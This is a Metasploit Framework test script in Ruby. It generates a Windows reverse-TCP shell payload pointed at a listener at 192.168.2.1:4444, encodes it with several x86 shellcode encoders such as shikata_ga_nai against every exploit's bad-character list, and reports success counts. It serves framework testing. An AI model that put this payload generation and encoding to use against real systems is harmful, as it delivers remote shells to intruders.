metasploit-framework/test/tests/test_encoders.rb

118 lines
2.7 KiB
Ruby

#
# Simple script to test a group of encoders against every exploit in the framework,
# specifically for the exploits badchars, to see if a payload can be encoded. We ignore
# the target arch/platform of the exploit as we just want to pull out real world bad chars.
#
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
require 'msfenv'
require 'msf/base'
$msf = Msf::Simple::Framework.create
EXPLOITS = $msf.exploits
def print_line( message )
$stdout.puts( message )
end
def format_badchars( badchars )
str = ''
if( badchars )
badchars.each_byte do | b |
str << "\\x%02X" % [ b ]
end
end
str
end
def encoder_v_payload( encoder_name, payload, verbose=false )
success = 0
fail = 0
EXPLOITS.each_module do | name, mod |
exploit = mod.new
print_line( "\n#{encoder_name} v #{name} (#{ format_badchars( exploit.payload_badchars ) })" ) if verbose
begin
encoder = $msf.encoders.create( encoder_name )
raw = encoder.encode( payload, exploit.payload_badchars, nil, nil )
success += 1
rescue
print_line( " FAILED! badchars=#{ format_badchars( exploit.payload_badchars ) }\n" ) if verbose
fail += 1
end
end
return [ success, fail ]
end
def generate_payload( name )
payload = $msf.payloads.create( name )
# set options for a reverse_tcp payload
payload.datastore['LHOST'] = '192.168.2.1'
payload.datastore['RHOST'] = '192.168.2.254'
payload.datastore['RPORT'] = '5432'
payload.datastore['LPORT'] = '4444'
# set options for an exec payload
payload.datastore['CMD'] = 'calc'
# set generic options
payload.datastore['EXITFUNC'] = 'thread'
return payload.generate
end
def run( encoders, payload_name, verbose=false )
payload = generate_payload( payload_name )
table = Rex::Ui::Text::Table.new(
'Header' => 'Encoder v Payload Test - ' + ::Time.new.strftime( "%d-%b-%Y %H:%M:%S" ),
'Indent' => 4,
'Columns' => [ 'Encoder Name', 'Success', 'Fail' ]
)
encoders.each do | encoder_name |
success, fail = encoder_v_payload( encoder_name, payload, verbose )
table << [ encoder_name, success, fail ]
end
return table
end
if( $0 == __FILE__ )
print_line( "[+] Starting.\n" )
encoders = [
'x86/bloxor',
'x86/shikata_ga_nai',
'x86/jmp_call_additive',
'x86/fnstenv_mov',
'x86/countdown',
'x86/call4_dword_xor'
]
payload_name = 'windows/shell/reverse_tcp'
verbose = false
result_table = run( encoders, payload_name, verbose )
print_line( "\n\n#{result_table.to_s}\n\n" )
print_line( "[+] Finished.\n" )
end